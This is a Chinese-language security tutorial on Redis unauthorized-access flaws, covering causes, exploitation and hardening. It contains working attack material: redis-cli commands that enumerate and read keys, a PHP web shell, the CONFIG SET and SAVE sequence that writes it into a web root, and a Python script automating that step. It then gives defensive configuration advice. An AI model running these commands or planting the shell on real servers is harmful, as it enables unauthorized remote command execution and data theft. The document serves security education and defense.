Redis未授权访问漏洞利用与防御

Redis未授权访问漏洞利用与防御

概述

Redis作为一款高性能的开源内存数据库,广泛应用于缓存、消息代理和分布式系统中。其简单易用和极致的性能使之成为众多大型互联网应用的核心组件。然而,Redis的默认配置缺乏访问控制,导致未授权访问漏洞时有发生。攻击者借助这一漏洞可绕过认证,直接执行任意Redis命令,严重时甚至可实现远程代码执行(RCE),对业务安全构成极大威胁。

本文旨在系统剖析Redis未授权访问的成因、攻击原理,演示经典漏洞利用方式,并结合实际运维环境提出可靠的防御措施,为具备一定Redis与网络安全基础的技术人员提供深入且实用的指导。


原理分析

1. Redis认证机制

Redis的认证主要依赖requirepass配置项,客户端连接后若Redis配置了密码,必须执行AUTH命令验证密码才能执行后续命令。否则,Redis会拒绝除AUTHPING等少数命令外的所有操作。

然而,默认Redis配置中,常见未设置密码,或因配置错误未启用认证,导致服务端对连接客户端完全信任,进而造成未授权访问。

2. 网络暴露风险

Redis默认监听6379端口,若直接暴露于互联网,攻击者可通过端口扫描发现服务存在。由于Redis协议简单且未经加密,攻击者可直接向Redis发送命令请求,获取敏感信息甚至篡改数据。

3. 利用路径

利用途径主要包括:

  • 数据篡改与信息泄露
    直接读取敏感缓存数据,修改缓存内容,甚至删除关键数据导致业务异常。

  • 写入恶意Payload实现RCE
    利用Redis的持久化机制,攻击者可将恶意脚本写入Redis的持久化文件(如RDB或AOF),进而在Redis重启载入数据时触发脚本执行,或者结合web服务器漏洞实现远程代码执行。

  • 搭建跳板/代理
    将Redis作为跳板,实现对内网环境的横向渗透。


实战步骤

以下示范环境假设Redis未启用密码,且监听地址可被攻击者访问。

1. 检测Redis服务

利用redis-cli或者其他工具确认目标主机Redis端口开放:

redis-cli -h target_ip -p 6379 ping

正常应返回PONG

2. 探测是否存在认证

执行一系列普通命令,测试是否被拒绝:

redis-cli -h target_ip -p 6379 info

若直接返回实例信息,无需密码,意味着未授权访问风险存在。

3. 读取敏感信息

利用keysget命令查看缓存中的信息:

redis-cli -h target_ip -p 6379 keys '*'

遍历有效键:

redis-cli -h target_ip -p 6379 get some_key

攻击者可能借此窃取用户名、密码、令牌等敏感数据。

4. 利用恶意Payload实现远程代码执行

利用Redis的持久化机制写入Web服务器可执行路径下的PHP或其他脚本。例如,假设目标Web服务器可读取/var/www/html目录,攻击者尝试写入shell:

4.1 准备恶意代码

简单PHP Web Shell示例:

<?php system($_GET['cmd']); ?>

4.2 交互式写入payload(利用setconfig setsave

# 1. 设置必要配置信息
redis-cli -h target_ip -p 6379 config set dir /var/www/html/
redis-cli -h target_ip -p 6379 config set dbfilename shell.php

# 2. 写入payload
redis-cli -h target_ip -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"

# 3. 保存文件
redis-cli -h target_ip -p 6379 save

完成后,访问http://target_ip/shell.php?cmd=id即可执行命令。

注意:以上操作需满足:

  • Redis允许客户端修改dirdbfilename配置(即无config命令访问限制)
  • Redis与Web目录在同一主机且互信
  • 服务器未开启保护机制(如只读文件系统、SELinux权限管控等)

代码示例

这里提供一个自动化检测与利用脚本示例(Python, 基于redis库):

import redis

def check_unauth_access(ip, port=6379):
    try:
        r = redis.Redis(host=ip, port=port, socket_connect_timeout=5)
        pong = r.ping()
        if pong:
            print(f"[+] Redis at {ip}:{port} is accessible without authentication.")
            info = r.info()
            print("[*] Redis Info:", info.get("redis_version"))
            return r
    except redis.exceptions.AuthenticationError:
        print(f"[-] Authentication required at {ip}:{port}.")
    except Exception as e:
        print(f"[-] Connection error: {e}")
    return None

def write_webshell(r, web_dir, filename="shell.php"):
    if not r:
        return
    try:
        r.config_set('dir', web_dir)
        r.config_set('dbfilename', filename)
        payload = '<?php system($_GET["cmd"]); ?>'
        r.set('shell', payload)
        r.save()
        print(f"[+] Webshell written to {web_dir}/{filename}. Verify http://target_ip/{filename}")
    except Exception as e:
        print(f"[-] Failed to write webshell: {e}")

if __name__ == "__main__":
    target_ip = "target_ip_here"
    web_path = "/var/www/html"
    redis_conn = check_unauth_access(target_ip)
    if redis_conn:
        write_webshell(redis_conn, web_path)

防御建议

针对Redis未授权访问漏洞,企业级和运维人员应采取多维度防护措施:

1. 启用认证机制

  • 通过redis.conf配置requirepass强制密码认证。
  • 使用强随机密码,避免默认或简单密码。

2. 限制网络访问

  • 绑定本地回环地址,避免直接暴露于公网。配置示例:

    bind 127.0.0.1
    
  • 利用防火墙策略限制访问来源,仅允许可信IP连接6379端口。

3. 禁用危险命令

  • 通过rename-command隐藏或禁用CONFIG, FLUSHALL, DEBUG等危险命令,减少攻击面:

    rename-command CONFIG ""
    rename-command FLUSHALL ""
    

4. 使用访问控制列表(ACL)

  • Redis最新版本支持ACL,能指定用户权限粒度,建议尝试启用并细化访问权限。

5. 配置持久化路径及权限

  • 确保Redis持久化目录不可被Web服务器写入,分离存储减少风险。

  • 操作系统中合理分配文件和目录权限,最小化写权限。

6. 加强监控与审计

  • 监控网络连接与异常请求。

  • 定期审计Redis命令使用情况。

  • 结合HIDS/NIDS报警潜在异常操作。

7. 及时更新升级

  • 关注Redis官方安全公告,及时应用安全补丁及配置优化建议。

总结

Redis未授权访问漏洞是典型的配置疏忽导致的安全问题,却可能带来极为严重的业务风险。通过系统理解其认证机制、网络暴露面以及持久化策略,结合实战演练能够有效掌握攻击与防御手段。

最终,强认证、最小暴露、命令限制、访问细化、权限隔离和监控审计是构筑Redis安全坚固防线的关键。安全从配置开始,只有严谨细致维护,才能确保Redis这一核心组件的安全稳健运行。


作者介绍
本文作者为资深网络安全专家,专注数据库安全与渗透测试,有丰富的漏洞挖掘与安全防护实战经验,致力于推动企业安全能力建设,提升技术社区安全意识。